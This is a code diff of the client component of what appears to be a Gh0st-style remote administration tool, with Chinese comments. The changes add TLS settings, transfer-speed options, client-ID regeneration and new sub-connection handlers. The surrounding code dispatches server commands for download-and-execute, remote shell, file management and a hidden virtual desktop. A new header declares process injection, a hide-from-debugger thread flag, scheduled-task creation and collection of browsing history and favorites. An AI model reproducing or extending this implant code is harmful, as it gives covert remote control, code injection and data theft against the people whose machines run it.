||||||
|
if (m_ClientObject)
|
||||||
|
m_ClientObject->Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_TLS_ENABLE: {
|
||||||
|
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
|
||||||
|
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
|
||||||
|
if (ulLength > 1) {
|
||||||
|
std::string certPem((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
m_cfg->SetStr("settings", "tls_cert", certPem);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_TLS_DISABLE: {
|
||||||
|
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
|
||||||
|
std::string subKey = GetRegistryName() + "\\settings";
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
|
||||||
|
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
||||||
|
RegDeleteValueA(hKey, "tls_cert");
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_DOWN_EXEC: {
|
case COMMAND_DOWN_EXEC: {
|
||||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||||
@@ -1113,6 +1146,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
mgr->EnableOfflineRecord(TRUE);
|
mgr->EnableOfflineRecord(TRUE);
|
||||||
}
|
}
|
||||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||||
|
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
|
||||||
|
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
|
||||||
|
// 调用点经 GetTransferSpeed 读取。
|
||||||
|
if (m_settings.TransferChunkKb) {
|
||||||
|
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
|
||||||
|
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if (IsAuthKernel() &&
|
if (IsAuthKernel() &&
|
||||||
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
|
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
|
||||||
@@ -1153,6 +1193,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||||
|
if (!ENABLE_MESSAGE) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
if (!ENABLE_SHELL) {
|
if (!ENABLE_SHELL) {
|
||||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||||
@@ -1277,6 +1371,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case CMD_FILE_SPEED: {
|
||||||
|
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
|
||||||
|
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
|
||||||
|
if (ulLength >= 5) {
|
||||||
|
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
|
||||||
|
int durMs = szBuffer[3] | (szBuffer[4] << 8);
|
||||||
|
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
|
||||||
|
m_cfg->SetInt("transfer", "DurationMs", durMs);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
if (!ENABLE_FILE_MNG) {
|
if (!ENABLE_FILE_MNG) {
|
||||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||||
@@ -1344,6 +1450,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_CONNECTION: {
|
||||||
|
if (!ENABLE_CONNECTION_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_UPDATE: {
|
case COMMAND_UPDATE: {
|
||||||
auto typ = m_conn->ClientType();
|
auto typ = m_conn->ClientType();
|
||||||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||||
@@ -1396,11 +1515,47 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
||||||
static bool s_v2RecvInited = false;
|
static bool s_v2RecvInited = false;
|
||||||
if (!s_v2RecvInited) {
|
if (!s_v2RecvInited) {
|
||||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(*m_cfg, chunkKb, durMs);
|
||||||
|
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
|
||||||
s_v2RecvInited = true;
|
s_v2RecvInited = true;
|
||||||
}
|
}
|
||||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||||
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
|
// 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
|
||||||
|
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
|
||||||
|
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
|
||||||
|
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
|
||||||
|
char* recvBuf = (char*)szBuffer;
|
||||||
|
size_t recvLen = ulLength;
|
||||||
|
std::vector<uint8_t> rebuilt;
|
||||||
|
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
|
||||||
|
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
|
||||||
|
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
|
||||||
|
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
|
||||||
|
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
|
||||||
|
char expanded[MAX_PATH * 2] = { 0 };
|
||||||
|
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
|
||||||
|
if (n > 0 && n < (DWORD)sizeof(expanded)) {
|
||||||
|
std::string newName(expanded, n - 1); // n 含末尾 '\0'
|
||||||
|
if (newName.size() != pkt->nameLength) {
|
||||||
|
// 展开后长度变化,重建包:[header][展开后的 name][data]
|
||||||
|
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
|
||||||
|
rebuilt.resize(newLen);
|
||||||
|
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
|
||||||
|
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
|
||||||
|
newPkt->nameLength = newName.size();
|
||||||
|
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
|
||||||
|
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
|
||||||
|
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
|
||||||
|
(size_t)pkt->dataLength);
|
||||||
|
recvBuf = (char*)rebuilt.data();
|
||||||
|
recvLen = newLen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
|
||||||
nullptr, m_hash, m_hmac, m_MyClientID);
|
nullptr, m_hash, m_hmac, m_MyClientID);
|
||||||
if (n) {
|
if (n) {
|
||||||
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
|
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
|
||||||
|
|||||||
+53
-7
@@ -289,6 +289,35 @@ uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normal
|
|||||||
return XXH64(s.c_str(), s.length(), 0);
|
return XXH64(s.c_str(), s.length(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 撞 ID 的克隆机重生成 client_id:在旧 ID 基础上掺一个一次性随机 UUID 再哈希。
|
||||||
|
// 只在服务端判定「主机名不同却撞 ID」后下发 COMMAND_REGEN_CLIENT_ID 触发,不影响
|
||||||
|
// 正常(首次)登录的 CalcalateIDv2 算法;唯一性由随机 UUID 保证,同批克隆机各自
|
||||||
|
// 随机,重算后必然不同。
|
||||||
|
uint64_t RegenerateClientID(uint64_t oldID)
|
||||||
|
{
|
||||||
|
// 16 字节随机数充当一次性 UUID(RtlGenRandom = advapi32 SystemFunction036)。
|
||||||
|
unsigned char rnd[16] = {};
|
||||||
|
if (!RtlGenRandom(rnd, (ULONG)sizeof(rnd))) {
|
||||||
|
// 极少数环境 RtlGenRandom 可能失败:退化为时间/进程/线程/性能计数混合的 LCG,
|
||||||
|
// 保证仍能产出与旧 ID 不同的新 ID(不追求密码学强度,只需撞车概率足够低)。
|
||||||
|
uint64_t mix = GetTickCount64() ^ ((uint64_t)GetCurrentProcessId() << 32)
|
||||||
|
^ (uint64_t)GetCurrentThreadId();
|
||||||
|
LARGE_INTEGER pc;
|
||||||
|
QueryPerformanceCounter(&pc);
|
||||||
|
mix ^= (uint64_t)pc.QuadPart;
|
||||||
|
for (int i = 0; i < 16; ++i) {
|
||||||
|
mix = mix * 6364136223846793005ULL + 1442695040888963407ULL;
|
||||||
|
rnd[i] = (unsigned char)(mix >> 56);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
char hex[33];
|
||||||
|
for (int i = 0; i < 16; ++i)
|
||||||
|
sprintf_s(hex + i * 2, 3, "%02X", (unsigned)rnd[i]);
|
||||||
|
hex[32] = '\0';
|
||||||
|
std::string seed = std::to_string(oldID) + "|" + hex;
|
||||||
|
return XXH64(seed.c_str(), seed.size(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
BOOL IsAuthKernel(std::string &str) {
|
BOOL IsAuthKernel(std::string &str) {
|
||||||
BOOL isAuthKernel = FALSE;
|
BOOL isAuthKernel = FALSE;
|
||||||
std::string pid = std::to_string(GetCurrentProcessId());
|
std::string pid = std::to_string(GetCurrentProcessId());
|
||||||
@@ -378,13 +407,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||||||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||||||
|
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
|
||||||
|
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
|
||||||
|
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
|
||||||
|
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
|
||||||
|
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
|
||||||
IPConverter cvt;
|
IPConverter cvt;
|
||||||
if (loc.empty() || pubIP.empty() || timeout) {
|
if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
|
||||||
pubIP = cvt.getPublicIP();
|
std::string newPubIP = pubIP;
|
||||||
loc = cvt.GetGeoLocation(pubIP);
|
// 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
|
||||||
|
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
|
||||||
|
if (pubIP.empty() || timeout) {
|
||||||
|
newPubIP = cvt.getPublicIP();
|
||||||
|
}
|
||||||
|
std::string newLoc = cvt.GetGeoLocation(newPubIP);
|
||||||
|
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
|
||||||
|
if (!newLoc.empty() && !newPubIP.empty()) {
|
||||||
|
pubIP = newPubIP;
|
||||||
|
loc = newLoc;
|
||||||
cfg.SetStr("settings", "location", loc);
|
cfg.SetStr("settings", "location", loc);
|
||||||
cfg.SetStr("settings", "public_ip", pubIP);
|
cfg.SetStr("settings", "public_ip", pubIP);
|
||||||
cfg.SetInt("settings", "ip_time", time(0));
|
cfg.SetInt("settings", "ip_time", time(0));
|
||||||
|
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
LoginInfor.AddReserved(loc.c_str());
|
LoginInfor.AddReserved(loc.c_str());
|
||||||
LoginInfor.AddReserved(pubIP.c_str());
|
LoginInfor.AddReserved(pubIP.c_str());
|
||||||
@@ -396,13 +441,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||||
std::string clientID = cfg.GetStr("settings", "client_id");
|
std::string clientID = cfg.GetStr("settings", "client_id");
|
||||||
if (clientID.empty()) {
|
if (clientID.empty()) {
|
||||||
// V2 ID 算法:MachineGuid + 归一化路径
|
// V2 ID 算法:MachineGuid + 主机名 + 归一化路径
|
||||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
|
||||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
|
||||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||||
std::string machineGuid = GetMachineGuidWindows();
|
std::string machineGuid = GetMachineGuidWindows();
|
||||||
if (!machineGuid.empty()) {
|
if (!machineGuid.empty()) {
|
||||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
|
conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
|
||||||
} else {
|
} else {
|
||||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||||
@@ -428,6 +473,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
|||||||
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||||
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||||
LoginInfor.AddReserved(fileSize); // 文件大小
|
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||||
|
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
|
||||||
return LoginInfor;
|
return LoginInfor;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
|
|
||||||
std::string GetMachineGuidWindows();
|
std::string GetMachineGuidWindows();
|
||||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
|
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
|
||||||
|
uint64_t RegenerateClientID(uint64_t oldID);
|
||||||
BOOL IsAuthKernel(std::string& str);
|
BOOL IsAuthKernel(std::string& str);
|
||||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
|
||||||
DWORD CPUClockMHz();
|
DWORD CPUClockMHz();
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,204 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <Iphlpapi.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <map>
|
||||||
|
#include <WINSOCK2.H>
|
||||||
|
#include "yapi.hpp"
|
||||||
|
|
||||||
|
#pragma comment(lib, "Iphlpapi.lib")
|
||||||
|
#pragma comment(lib, "WS2_32.lib")
|
||||||
|
|
||||||
|
#include <taskschd.h>
|
||||||
|
#include <comutil.h>
|
||||||
|
#pragma comment(lib, "taskschd.lib")
|
||||||
|
#pragma comment(lib, "comsupp.lib")
|
||||||
|
|
||||||
|
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
|
||||||
|
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
|
||||||
|
|
||||||
|
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
|
||||||
|
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
|
||||||
|
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
|
||||||
|
|
||||||
|
class CMachineManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BOOL m_bUse;
|
||||||
|
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||||
|
virtual ~CMachineManager();
|
||||||
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
|
private:
|
||||||
|
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
|
||||||
|
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
|
||||||
|
HWND GetHwndByPid(DWORD dwProcessID);
|
||||||
|
bool Is64BitOS();
|
||||||
|
bool Is64BitPorcess(DWORD dwProcessID);
|
||||||
|
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
|
||||||
|
wchar_t* char2wchar_t(char* cstr);
|
||||||
|
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
|
||||||
|
void DeleteService(LPBYTE lpBuffer, UINT nSize);
|
||||||
|
void MyControlService(LPBYTE lpBuffer, UINT nType);
|
||||||
|
|
||||||
|
void SendProcessList();
|
||||||
|
LPBYTE getProcessList(); //进程
|
||||||
|
|
||||||
|
void SendWindowsList();
|
||||||
|
LPBYTE getWindowsList(); //窗口
|
||||||
|
|
||||||
|
void SendNetStateList();
|
||||||
|
LPBYTE getNetStateList();
|
||||||
|
|
||||||
|
void SendSoftWareList();
|
||||||
|
LPBYTE getSoftWareList(); //软件列表
|
||||||
|
|
||||||
|
void SendIEHistoryList();
|
||||||
|
LPBYTE getIEHistoryList(); // 浏览记录
|
||||||
|
|
||||||
|
void SendFavoritesUrlList();
|
||||||
|
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
|
||||||
|
LPBYTE getFavoritesUrlList(); //收藏夹
|
||||||
|
|
||||||
|
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
|
||||||
|
LPBYTE getServiceList(DWORD dwScType);
|
||||||
|
|
||||||
|
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
|
||||||
|
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
|
||||||
|
PBYTE GetRoot(); //获取根目录下的子文件夹
|
||||||
|
|
||||||
|
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
|
||||||
|
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
|
||||||
|
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
|
||||||
|
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
|
||||||
|
void SaveData(const std::string& taskname, const std::string& path,
|
||||||
|
const std::string& exepath, const std::string& status,
|
||||||
|
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
|
||||||
|
DWORD m_dwServiceType;
|
||||||
|
|
||||||
|
void SendHostsList();
|
||||||
|
|
||||||
|
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
|
||||||
|
|
||||||
|
void SendError(const char* Terror);
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Browsinghistory {
|
||||||
|
char strTime[100];
|
||||||
|
char strTitle[1024];
|
||||||
|
char strUrl[1024];
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwState; // 连接状态
|
||||||
|
DWORD dwLocalAddr; // 本地地址
|
||||||
|
DWORD dwLocalPort; // 本地端口
|
||||||
|
DWORD dwRemoteAddr; // 远程地址
|
||||||
|
DWORD dwRemotePort; // 远程端口
|
||||||
|
DWORD dwProcessId; // 进程ID号
|
||||||
|
} MIB_TCPEXROW, * PMIB_TCPEXROW;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_TCPEXROW table[ANY_SIZE];
|
||||||
|
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwLocalAddr; // 本地地址
|
||||||
|
DWORD dwLocalPort; // 本地端口
|
||||||
|
DWORD dwProcessId; // 进程ID号
|
||||||
|
} MIB_UDPEXROW, * PMIB_UDPEXROW;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_UDPEXROW table[ANY_SIZE];
|
||||||
|
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwState; //连接状态
|
||||||
|
DWORD dwLocalAddr; //本地地址
|
||||||
|
DWORD dwLocalPort; //本地端口
|
||||||
|
DWORD dwRemoteAddr; //远程地址
|
||||||
|
DWORD dwRemotePort; //远程端口
|
||||||
|
DWORD dwProcessId; //进程标识
|
||||||
|
DWORD Unknown; //待定标识
|
||||||
|
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
DWORD dwNumEntries;
|
||||||
|
MIB_TCPEXROW_VISTA table[ANY_SIZE];
|
||||||
|
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
|
||||||
|
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
|
||||||
|
PMIB_UDPEXTABLE* pUdpTable,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
// 扩展函数原型
|
||||||
|
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
|
||||||
|
PMIB_TCPEXTABLE* pTcpTable,
|
||||||
|
BOOL bOrder,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD zero,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
|
||||||
|
PMIB_UDPEXTABLE* pUdpTable,
|
||||||
|
BOOL bOrder,
|
||||||
|
HANDLE heap,
|
||||||
|
DWORD zero,
|
||||||
|
DWORD flags
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef _CLIENT_ID* PCLIENT_ID;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||||
|
